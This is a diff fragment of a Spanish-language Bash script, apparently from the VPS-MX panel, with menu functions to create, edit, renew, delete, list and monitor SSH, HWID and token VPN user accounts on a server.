+ done
+ }
+ err_fun () {
+ case $1 in
+ 1)msg -verm "$(fun_trans "Usuario Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 2)msg -verm "$(fun_trans "Usuario con nombre muy corto")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 3)msg -verm "$(fun_trans "Usuario con nombre muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 4)msg -verm "$(fun_trans "Contraseña Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 5)msg -verm "$(fun_trans "Contraseña muy corta")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 6)msg -verm "$(fun_trans "Contraseña muy grande")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 7)msg -verm "$(fun_trans "Duracion Nula")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 8)msg -verm "$(fun_trans "Duracion invalida utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 9)msg -verm "$(fun_trans "Duracion maxima y de un año")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 11)msg -verm "$(fun_trans "Limite Nulo")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 12)msg -verm "$(fun_trans "Limite invalido utilize numeros")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 13)msg -verm "$(fun_trans "Limite maximo de 999")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 14)msg -verm "$(fun_trans "Usuario Ya Existe")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ 15)msg -verm "$(fun_trans "la contraseña que ingreso ya existe,deve de ingresarlo diferente o igual que el nombre del usuario")"; sleep 2s; tput cuu1; tput dl1; tput cuu1; tput dl1;;
+ esac
+ }
+ new_user () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativos=('' $(mostrar_user))
+ usuarios_pass=$(cat ${USRdatabase}|cut -d'|' -f2)
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -ama "   AGREGAR USUARIO | Ningun Usuario Registrado"
+ msg -bar
+ else
+ msg -tit
+ msg -ama "  AGREGAR USUARIO | Usuarios  Activos en Servidor"
+ msg -bar
+ for us in $(echo ${usuarios_ativos[@]}); do
+ msg -ne "  >> Usuario: " && echo "${us}"
+ done
+ msg -bar
+ fi
+ while true; do
+ msg -ne "$(fun_trans "Nombre Del Nuevo Usuario")"
+ read -p ": " nomeuser
+ nomeuser="$(echo $nomeuser|sed -e 's/[^a-z0-9 -]//ig')"
+ if [[ -z $nomeuser ]]; then
+ err_fun 1 && continue
+ elif [[ "${#nomeuser}" -lt "4" ]]; then
+ err_fun 2 && continue
+ elif [[ "${#nomeuser}" -gt "24" ]]; then
+ err_fun 3 && continue
+ elif [[ "$(echo ${usuarios_ativos[@]}|grep -w "$nomeuser")" ]]; then
+ err_fun 14 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Contraseña Del Nuevo Usuario")"
+ read -p ": " senhauser
+ if [[ -z $senhauser ]]; then
+ err_fun 4 && continue
+ elif [[ "${#senhauser}" -lt "6" ]]; then
+ err_fun 5 && continue
+ elif [[ "${#senhauser}" -gt "20" ]]; then
+ err_fun 6 && continue
+ elif [[ "$(echo ${usuarios_pass[@]}|grep -w "$senhauser")" ]]; then
+ err_fun 15 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Tiempo de Duracion del Nuevo Usuario")"
+ read -p ": " diasuser
+ if [[ -z "$diasuser" ]]; then
+ err_fun 7 && continue
+ elif [[ "$diasuser" != +([0-9]) ]]; then
+ err_fun 8 && continue
+ elif [[ "$diasuser" -gt "360" ]]; then
+ err_fun 9 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "$(fun_trans "Limite de Conexiones del Nuevo Usuario")"
+ read -p ": " limiteuser
+ if [[ -z "$limiteuser" ]]; then
+ err_fun 11 && continue
+ elif [[ "$limiteuser" != +([0-9]) ]]; then
+ err_fun 12 && continue
+ elif [[ "$limiteuser" -gt "999" ]]; then
+ err_fun 13 && continue
+ fi
+ break
+ done
+ echo ""
+ clear
+ add_user "${nomeuser}" "${senhauser}" "${diasuser}" "${limiteuser}" #&& msg -ama "$(fun_trans "            Usuario Creado con Exito")" || msg -verm "$(fun_trans "         Error, Usuario no creado")"
+ msg -bar
+ msg -ne "$(fun_trans "  >> IP del Servidor"): " && echo -e "$(meu_ip)"
+ msg -ne "$(fun_trans "  >> Usuario"): " && echo -e "$nomeuser"
+ msg -ne "$(fun_trans "  >> Contraseña"): " && echo -e "$senhauser"
+ msg -ne "$(fun_trans "  >> Dias de Duracion"): " && echo -e "$diasuser"
+ msg -ne "$(fun_trans "  >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
+ msg -ne "$(fun_trans "  >> Limite de Conexion"): " && echo -e "$limiteuser"
+ [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && newclient "$nomeuser" "$senhauser"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ menu_crearuser(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama " \e[1;33m[1] \e[37mCREAR CUENTA NORMAL \e[0m \n \e[1;33m[2] \e[37mCREAR CUENTA HWID \e[0m\n \e[1;33m[3] \e[37mCREAR CUENTA TOKEN \e[0m\n \e[1;31m[0] \e[1;37m<- VOLVER"
+ msg -bar
+ read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
+ case $cuen in
+ 1)new_user;;
+ 2)new_hwid;;
+ 3)new_token;;
+ 0) ;;
+ esac
+ }
+ remove_user () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativos=('' $(mostrar_user))
+ msg -ama "$(fun_trans "REMOVER USUARIOS")"
+ msg -bar
+ data_user
+ msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
+ msg -bar
+ unset selection
+ while [[ -z ${selection} ]]; do
+ msg -azu "$(fun_trans "Seleccione Una Opcion"): " && read selection
+ tput cuu1 && tput dl1
+ done
+ [[ ${selection} = "0" ]] && return
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ usuario_del="${usuarios_ativos[$selection]}"
+ else
+ usuario_del="$selection"
+ fi
+ [[ -z $usuario_del ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ msg -ama "$(fun_trans "Usuario Seleccionado"): $usuario_del"
+ pkill -u $usuario_del
+ droplim=`droppids|grep -w "$usuario_del"|awk '{print $2}'`
+ kill -9 $droplim &>/dev/null
+ rm_user "$usuario_del"
+ rm -rf /etc/VPS-MX/VPS-MX-userlock
+ rm -rf /etc/VPS-MX/controlador/Limiter.log
+ unlockall2
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ remove_allus () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativos=($(mostrar_usuarios))
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -verm "$(fun_trans " BORAR USUARIO | Ningun usuario registrado")"
+ msg -bar
+ return 1
+ else
+ msg -tit
+ msg -ama "$(fun_trans " BORAR USUARIO |  Usuarios Activos del Servidor")"
+ msg -bar
+ i=0
+ for us in $(echo ${usuarios_ativos[@]}); do
+ msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
+ let i++
+ done
+ msg -bar
+ fi
+ msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
+ msg -bar
+ msg -ama "\033[1;31mSe recomienda desbloquear todas las cuentas \nbloqueadas antes de borrar algun usuario."
+ msg -bar
+ unset selection
+ while [[ -z ${selection} ]]; do
+ echo -ne "\033[1;37m$(fun_trans "Seleccione Una Opcion"): " && read selection
+ tput cuu1 && tput dl1
+ done
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ usuario_del="${usuarios_ativos[$selection]}"
+ else
+ usuario_del="$selection"
+ fi
+ [[ -z $usuario_del ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -ne "$usuario_del"
+ pkill -u $usuario_del
+ droplim=`dropbear_pids|grep -w "$usuario_del"|cut -d'|' -f2`
+ kill -9 $droplim &>/dev/null
+ rm_user "$usuario_del" && msg -verd " [$(fun_trans "Removido")]" || msg -verm " [$(fun_trans "No Removido")]"
+ rm -rf /etc/VPS-MX/VPS-MX-userlock
+ rm -rf /etc/VPS-MX/controlador/Limiter.log
+ unlockall2
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ remove_hwid () {
+ clear
+ clear
+ red=$(tput setaf 1)
+ gren=$(tput setaf 2)
+ yellow=$(tput setaf 3)
+ msg -bar
+ usuarios_ativos=('' $(mostrar_usuario))
+ msg -ama "$(fun_trans "REMOVER USUARIOS")"
+ msg -bar
+ data_hwid
+ msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
+ msg -bar
+ unset selection
+ while [[ -z ${selection} ]]; do
+ msg -azu "$(fun_trans "Seleccione Una Opcion"): " && read selection
+ tput cuu1 && tput dl1
+ done
+ [[ ${selection} = "0" ]] && return
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ usuario_del="${usuarios_ativos[$selection]}"
+ else
+ usuario_del="$selection"
+ fi
+ [[ -z $usuario_del ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ msg -ama "$(fun_trans "Usuario Seleccionado"): $usuario_del"
+ pkill -u $usuario_del
+ droplim=`droppids|grep -w "$usuario_del"|awk '{print $2}'`
+ kill -9 $droplim &>/dev/null
+ rm_hwid "$usuario_del"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ remove_token () {
+ clear
+ clear
+ red=$(tput setaf 1)
+ gren=$(tput setaf 2)
+ yellow=$(tput setaf 3)
+ msg -bar
+ usuarios_ativos=('' $(mostrar_token))
+ msg -ama "$(fun_trans "REMOVER USUARIOS")"
+ msg -bar
+ data_token
+ msg -ama "$(fun_trans "Escriba o Seleccione un Usuario")"
+ msg -bar
+ unset selection
+ while [[ -z ${selection} ]]; do
+ msg -azu "$(fun_trans "Seleccione Una Opcion"): " && read selection
+ tput cuu1 && tput dl1
+ done
+ [[ ${selection} = "0" ]] && return
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ usuario_del="${usuarios_ativos[$selection]}"
+ else
+ usuario_del="$selection"
+ fi
+ [[ -z $usuario_del ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ msg -ama "$(fun_trans "Usuario Seleccionado"): $usuario_del"
+ pkill -u $usuario_del
+ droplim=`droppids|grep -w "$usuario_del"|awk '{print $2}'`
+ kill -9 $droplim &>/dev/null
+ rm_token "$usuario_del"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ menudel(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama " \e[1;33m[1] \e[1;31mREMOVER CUENTAS SSH  \n \e[1;33m[2] \e[1;31mREMOVER CUENTAS HWID\n \e[1;33m[3] \e[1;31mREMOVER CUENTAS TOKEN\n \e[1;33m[4] \e[1;37mREMOVER CUENTAS SSH,HWID,TOKEN\n \e[1;31m[0] \e[1;37m<- VOLVER"
+ msg -bar
+ read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
+ case $cuen in
+ 1)remove_user;;
+ 2)remove_hwid;;
+ 3)remove_token;;
+ 4)remove_allus;;
+ 0) ;;
+ esac
+ }
+ renew_user () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativos=($(mostrar_usuarios))
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -verm "$(fun_trans " EDITAR USUARIO | Ningun usuario registrado")"
+ msg -bar
+ return 1
+ else
+ msg -tit
+ msg -ama "$(fun_trans " EDITAR USUARIO | Usuarios Activos en el Servidor")"
+ msg -bar
+ i=0
+ for us in $(echo ${usuarios_ativos[@]}); do
+ msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
+ let i++
+ done
+ msg -bar
+ fi
+ msg -ama "$(fun_trans "Escriba o seleccione un Usuario")"
+ msg -bar
+ unset selection
+ while [[ -z ${selection} ]]; do
+ echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
+ tput cuu1
+ tput dl1
+ done
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ useredit="${usuarios_ativos[$selection]}"
+ else
+ useredit="$selection"
+ fi
+ [[ -z $useredit ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ while true; do
+ msg -ne "Nuevo Tiempo de Duracion de:\033[1;33m $useredit"
+ read -p ": " diasuser
+ if [[ -z "$diasuser" ]]; then
+ echo -e '\n\n\n'
+ err_fun 7 && continue
+ elif [[ "$diasuser" != +([0-9]) ]]; then
+ echo -e '\n\n\n'
+ err_fun 8 && continue
+ elif [[ "$diasuser" -gt "360" ]]; then
+ echo -e '\n\n\n'
+ err_fun 9 && continue
+ fi
+ break
+ done
+ msg -bar
+ renew_user_fun "${useredit}" "${diasuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" || msg -verm "$(fun_trans "Error, Usuario no Modificado")"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ edit_user () {
+ clear
+ clear
+ msg -bar
+ usuarios_ativos=($(mostrar_usuarios))
+ if [[ -z ${usuarios_ativos[@]} ]]; then
+ msg -tit
+ msg -verm "$(fun_trans " EDITTAR USER | Ningun usuario registrado")"
+ msg -bar
+ return 1
+ else
+ msg -tit
+ msg -ama "$(fun_trans " EDITTAR USER | Usuarios Activos del Servidor")"
+ msg -bar
+ i=0
+ for us in $(echo ${usuarios_ativos[@]}); do
+ msg -ne "[$i] ->" && echo -e "\033[1;33m ${us}"
+ let i++
+ done
+ msg -bar
+ fi
+ msg -ama "$(fun_trans "Escriba o seleccione un Usuario")"
+ msg -bar
+ unset selection
+ while [[ -z ${selection} ]]; do
+ echo -ne "\033[1;37m$(fun_trans "Seleccione una Opcion"): " && read selection
+ tput cuu1; tput dl1
+ done
+ if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
+ useredit="${usuarios_ativos[$selection]}"
+ else
+ useredit="$selection"
+ fi
+ [[ -z $useredit ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$useredit") ]] && {
+ msg -verm "$(fun_trans "Error, Usuario Invalido")"
+ msg -bar
+ return 1
+ }
+ while true; do
+ msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -e "$useredit"
+ msg -ne "Nueva Contraseña de:\033[1;33m $useredit"
+ read -p ": " senhauser
+ if [[ -z "$senhauser" ]]; then
+ err_fun 4 && continue
+ elif [[ "${#senhauser}" -lt "6" ]]; then
+ err_fun 5 && continue
+ elif [[ "${#senhauser}" -gt "20" ]]; then
+ err_fun 6 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "Dias de Duracion de:\033[1;33m $useredit"
+ read -p ": " diasuser
+ if [[ -z "$diasuser" ]]; then
+ err_fun 7 && continue
+ elif [[ "$diasuser" != +([0-9]) ]]; then
+ err_fun 8 && continue
+ elif [[ "$diasuser" -gt "360" ]]; then
+ err_fun 9 && continue
+ fi
+ break
+ done
+ while true; do
+ msg -ne "Nuevo Limite de Conexion de:\033[1;33m $useredit"
+ read -p ": " limiteuser
+ if [[ -z "$limiteuser" ]]; then
+ err_fun 11 && continue
+ elif [[ "$limiteuser" != +([0-9]) ]]; then
+ err_fun 12 && continue
+ elif [[ "$limiteuser" -gt "999" ]]; then
+ err_fun 13 && continue
+ fi
+ break
+ done
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ tput cuu1 && tput dl1
+ msg -ne "$(fun_trans " >> Usuario"): " && echo -e "$useredit"
+ msg -ne "$(fun_trans " >> Contraseña"): " && echo -e "$senhauser"
+ msg -ne "$(fun_trans " >> Dias de Duracion"): " && echo -e "$diasuser"
+ msg -ne "$(fun_trans " >> Fecha de Expiracion"): " && echo -e "$(date "+%F" -d " + $diasuser days")"
+ msg -ne "$(fun_trans " >> Limite de Conexion"): " && echo -e "$limiteuser"
+ msg -bar
+ edit_user_fun "${useredit}" "${senhauser}" "${diasuser}" "${limiteuser}" && msg -ama "$(fun_trans "Usuario Modificado Con Exito")" && rm -rf ${SCPusr}/Limiter.log || msg -verm "$(fun_trans "Error, Usuario nao Modificado")"
+ msg -bar
+ msg -ne " Enter Para Continuar" && read enter
+ ${SCPusr}/usercodes
+ }
+ data_hwid(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama "$(fun_trans "        INFORMACION DE USUARIOS HWID REGISTRADOS ")"
+ msg -bar
+ cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'hwid'|grep -v 'syslog')
+ dat_us=$(printf '%-20s%-12s%-8s%s' 'Cliente' 'Fecha' 'Dias' 'Statu')
+ msg -azu "  N°  $dat_us"
+ msg -bar
+ i=1
+ for u in `echo "${cat_users}"|awk -F ':' '{print $1}'`; do
+ fix_hwid_token=$(echo "${cat_users}"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f1) && [[ "${fix_hwid_token}" != @(hwid) ]] && continue
+ fecha=$(chage -l "$u"|sed -n '4p'|awk -F ': ' '{print $2}')
+ mes_dia=$(echo $fecha|awk -F ',' '{print $1}'|sed 's/ //g')
+ ano=$(echo $fecha|awk -F ', ' '{printf $2}'|cut -c 3-)
+ us=$(printf '%-12s' "$u")
+ pass=$(cat "/etc/passwd"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f2)
+ [[ "${#pass}" -gt '12' ]] && pass="Desconocida"
+ pass="$(printf '%-19s' "$pass")"
+ unset stat
+ if [[ $(passwd --status $u|cut -d ' ' -f2) = "P" ]]; then
+ stat="$(msg -verd "◉ ")"
+ else
+ stat="$(msg -verm2 "📵 ")"
+ fi
+ echo -ne "  $(msg -verd "$i)")$(msg -verm2 "-") $(msg -azu "${pass}")"
+ if [[ $(echo $fecha|awk '{print $2}') = "" ]]; then
+ exp="$(printf '%8s%-2s' '[X]')"
+ exp+="$(printf '%-6s' '[X]')"
+ echo " $(msg -verm2 "$fecha")$(msg -verd "$exp")$(echo -e "$stat")"
+ else
+ if [[ $(date +%s) -gt $(date '+%s' -d "${fecha}") ]]; then
+ exp="$(printf '%-5s' "Exp")"
+ echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verm2 "$exp")$(echo -e "$stat")"
+ else
+ EXPTIME="$(($(($(date '+%s' -d "${fecha}") - $(date +%s))) / 86400))"
+ if [[ "${#EXPTIME}" = "1" ]]; then
+ exp="$(printf '%6s%-7s' "$EXPTIME")"
+ elif [[ "${#EXPTIME}" = "2" ]]; then
+ exp="$(printf '%7s%-6s' "$EXPTIME")"
+ else
+ exp="$(printf '%7s%-5s' "$EXPTIME")"
+ fi
+ echo " $(msg -verm2 "$mes_dia/$ano")$(msg -verd "$exp")$(echo -e "$stat")"
+ fi
+ fi
+ echo -e "      $(msg -ama "HWID:") $(msg -azu "${us}")"
+ msg -bar3
+ let i++
+ done
+ msg -bar
+ }
+ data_token(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama "$(fun_trans "        INFORMACION DE USUARIOS TOKEN REGISTRADOS ")"
+ msg -bar
+ cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'token'|grep -v 'syslog')
+ dat_us=$(printf '%-20s%-12s%-8s%s' 'Cliente' 'Fecha' 'Dias' 'Statu')
+ msg -azu "  N°  $dat_us"
+ msg -bar
+ i=1
+ for u in `echo "${cat_users}"|awk -F ':' '{print $1}'`; do
+ fix_hwid_token=$(echo "${cat_users}"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f1) && [[ "${fix_hwid_token}" != @(hwid) ]] && continue
+ fecha=$(chage -l "$u"|sed -n '4p'|awk -F ': ' '{print $2}')
+ mes_dia=$(echo $fecha|awk -F ',' '{print $1}'|sed 's/ //g')
+ ano=$(echo $fecha|awk -F ', ' '{printf $2}'|cut -c 3-)
+ us=$(printf '%-12s' "$u")
+ pass=$(cat "/etc/passwd"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f2)
+ [[ "${#pass}" -gt '12' ]] && pass="Desconocida"
+ pass="$(printf '%-19s' "$pass")"
+ unset stat
+ if [[ $(passwd --status $u|cut -d ' ' -f2) = "P" ]]; then
+ stat="$(msg -verd "◉ ")"
+ else
+ stat="$(msg -verm2 "📵 ")"
+ fi
+ echo -ne "  $(msg -verd "$i)")$(msg -verm2 "-") $(msg -azu "${pass}")"
+ if [[ $(echo $fecha|awk '{print $2}') = "" ]]; then
+ exp="$(printf '%8s%-2s' '[X]')"
+ exp+="$(printf '%-6s' '[X]')"
+ echo " $(msg -verm2 "$fecha")$(msg -verd "$exp")$(echo -e "$stat")"
+ else
+ if [[ $(date +%s) -gt $(date '+%s' -d "${fecha}") ]]; then
+ exp="$(printf '%-5s' "Exp")"
+ echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verm2 "$exp")$(echo -e "$stat")"
+ else
+ EXPTIME="$(($(($(date '+%s' -d "${fecha}") - $(date +%s))) / 86400))"
+ if [[ "${#EXPTIME}" = "1" ]]; then
+ exp="$(printf '%6s%-7s' "$EXPTIME")"
+ elif [[ "${#EXPTIME}" = "2" ]]; then
+ exp="$(printf '%7s%-6s' "$EXPTIME")"
+ else
+ exp="$(printf '%7s%-5s' "$EXPTIME")"
+ fi
+ echo " $(msg -verm2 "$mes_dia/$ano")$(msg -verd "$exp")$(echo -e "$stat")"
+ fi
+ fi
+ echo -e "      $(msg -ama "TOKEN:") $(msg -azu "${us}")"
+ msg -bar3
+ let i++
+ done
+ msg -bar
+ }
+ data_user(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama "$(fun_trans "        INFORMACION DE USUARIOS SSH REGISTRADOS ")"
+ msg -bar2
+ cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog')
+ dat_us=$(printf '%-13s%-14s%-10s%-4s%-6s%s' 'Usuario' 'Contraseña' 'Fecha' 'Dia' 'Limit' 'Statu')
+ msg -azu "  $dat_us"
+ msg -bar
+ i=1
+ for u in `echo "${cat_users}"|awk -F ':' '{print $1}'`; do
+ fix_hwid_token=$(echo "${cat_users}"|grep -w "$u"|awk -F ':' '{print $5}'|cut -d ',' -f1) && [[ "${fix_hwid_token}" = @(hwid|token) ]] && continue
+ fecha=$(chage -l "$u"|sed -n '4p'|awk -F ': ' '{print $2}')
+ mes_dia=$(echo $fecha|awk -F ',' '{print $1}'|sed 's/ //g')
+ ano=$(echo $fecha|awk -F ', ' '{printf $2}'|cut -c 3-)
+ us=$(printf '%-12s' "$u")
+ pass=$(cat ${USRdatabase}|grep -w "$u"|cut -d'|' -f2)
+ [[ "${#pass}" -gt '12' ]] && pass="duplicada"
+ pass="$(printf '%-12s' "$pass")"
+ unset stat
+ if [[ $(passwd --status $u|cut -d ' ' -f2) = "P" ]]; then
+ stat="$(msg -verd "◉ ")"
+ else
+ stat="$(msg -verm2 "📵 ")"
+ fi
+ Limit=$(cat ${USRdatabase}|grep -w "$u"|cut -d'|' -f4)
+ [[ "${#Limit}" = "1" ]] && Limit=$(printf '%2s%-4s' "$Limit") || Limit=$(printf '%-6s' "$Limit")
+ echo -ne "$(msg -verd "$i")$(msg -verm2 "-")$(msg -azu "${us}") $(msg -azu "${pass}")"
+ if [[ $(echo $fecha|awk '{print $2}') = "" ]]; then
+ exp="$(printf '%8s%-2s' '[X]')"
+ exp+="$(printf '%-6s' '[X]')"
+ echo " $(msg -verm2 "$fecha")$(msg -verd "$exp")$(echo -e "$stat")"
+ else
+ if [[ $(date +%s) -gt $(date '+%s' -d "${fecha}") ]]; then
+ exp="$(printf '%-5s' "Exp")"
+ echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verm2 "$exp")$(msg -ama "$Limit")$(echo -e "$stat")"
+ else
+ EXPTIME="$(($(($(date '+%s' -d "${fecha}") - $(date +%s))) / 86400))"
+ [[ "${#EXPTIME}" = "1" ]] && exp="$(printf '%2s%-3s' "$EXPTIME")" || exp="$(printf '%-5s' "$EXPTIME")"
+ echo " $(msg -verm2 "$mes_dia/$ano")  $(msg -verd "$exp")$(msg -ama "$Limit")$(echo -e "$stat")"
+ fi
+ fi
+ let i++
+ done
+ msg -bar
+ }
+ menudata(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama " \e[1;33m[1] \e[37mDETALLES DE CUENTAS SSH \e[0m\n \e[1;33m[2] \e[37mDETALLES DE CUENTAS HWID \e[0m\n \e[1;33m[3] \e[37mDETALLES DE CUENTAS TOKEN \e[0m\n \e[1;31m[0] \e[1;37m<- VOLVER"
+ msg -bar
+ read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
+ case $cuen in
+ 1)data_user;;
+ 2)data_hwid;;
+ 3)data_token;;
+ 0) ;;
+ esac
+ }
+ menumoni(){
+ clear
+ msg -bar
+ msg -tit
+ msg -ama " \e[1;33m[1] \e[37mMONITOR DE CUENTAS SSH\e[0m\n \e[1;33m[2] \e[37mMONITOR DE CUENTAS HWID\e[0m\n \e[1;33m[3] \e[37mMONITOR DE CUENTAS TOKEN\e[0m\n \e[1;31m[0] \e[1;37m<- VOLVER"
+ msg -bar
+ read -p " $(echo -e "\e[1;37mSeleccione Una Opcion [1/3]:\e[1;33m") " cuen
+ case $cuen in
+ 1)monit_ssh;;
+ 2)monit_hwid;;
+ 3)monit_token;;
+ 0) ;;
+ esac
+ }
+ monit_hwid () {
+ clear
+ clear
+ msg -bar
+ msg -tit
+ red=$(tput setaf 1)
+ gren=$(tput setaf 2)
+ yellow=$(tput setaf 3)
+ echo -e "$(fun_trans "\e[93m   MONITOR DE CONEXIONES SSH/DROPBEAR/SSL/OPENVPN")"
+ msg -bar
+ txtvar=$(printf '%-13s' " USUARIO")
+ txtvar+=$(printf '%-20s' "CONEXIONES")
+ txtvar+=$(printf '%-10s' "TIME/ON")
+ echo -e "  \e[1;33m${txtvar}\e[0m"
+ msg -bar
+ cat_users=$(cat "/etc/passwd"|grep 'home'|grep 'hwid'|grep -v 'syslog')
+ for i in `echo "$cat_users"|awk -F ':' '{print $1}'`; do
+ hwid="$i"
+ nom="$(echo "$cat_users"|grep -w "$i"|awk -F ':' '{print $5}'|cut -d ',' -f2)"
+ user=$(printf '%-10s' " ${nom}")
+ sep=$(printf '%-5s')
+ _=$(
+ PID="0+"
+ [[ $(dpkg --get-selections|grep -w "openssh"|head -1) ]] && PID+="$(ps aux|grep -v grep|grep sshd|grep -w "$hwid"|grep -v root|wc -l)+"
+ [[ $(dpkg --get-selections|grep -w "dropbear"|head -1) ]] && PID+="$(dropbear_pids|grep -w "${hwid}"|wc -l)+"
+ [[ $(dpkg --get-selections|grep -w "openvpn"|head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids|grep -w "$hwid"|cut -d'|' -f2) ]] && PID+="$(openvpn_pids|grep -w "$hwid"|cut -d'|' -f2)+"
+ PID+="0"
+ TIMEON="${TIMEUS[$hwid]}"
+ [[ -z $TIMEON ]] && TIMEON=0
+ MIN=$(($TIMEON/60))
+ SEC=$(($TIMEON-$MIN*60))
+ HOR=$(($MIN/60))
+ MIN=$(($MIN-$HOR*60))
+ HOUR="${HOR}h:${MIN}m:${SEC}s"
+ [[ $(echo $PID|bc) -gt 0 ]] && hwid="$hwid [\033[1;32mON\033[0m${yellow}] " || hwid="$hwid [\033[1;31mOFF\033[0m${yellow}]"
+ TOTALPID="$(echo $PID|bc)/hwid"	#$MAXUSER"
+ while [[ ${#hwid} -lt 45 ]]; do
+ hwid=$hwid" "
+ done
+ while [[ ${#TOTALPID} -lt 13 ]]; do
+ TOTALPID=$TOTALPID" "
+ done
+ while [[ ${#HOUR} -lt 8 ]]; do
+ HOUR=$HOUR" "
+ done
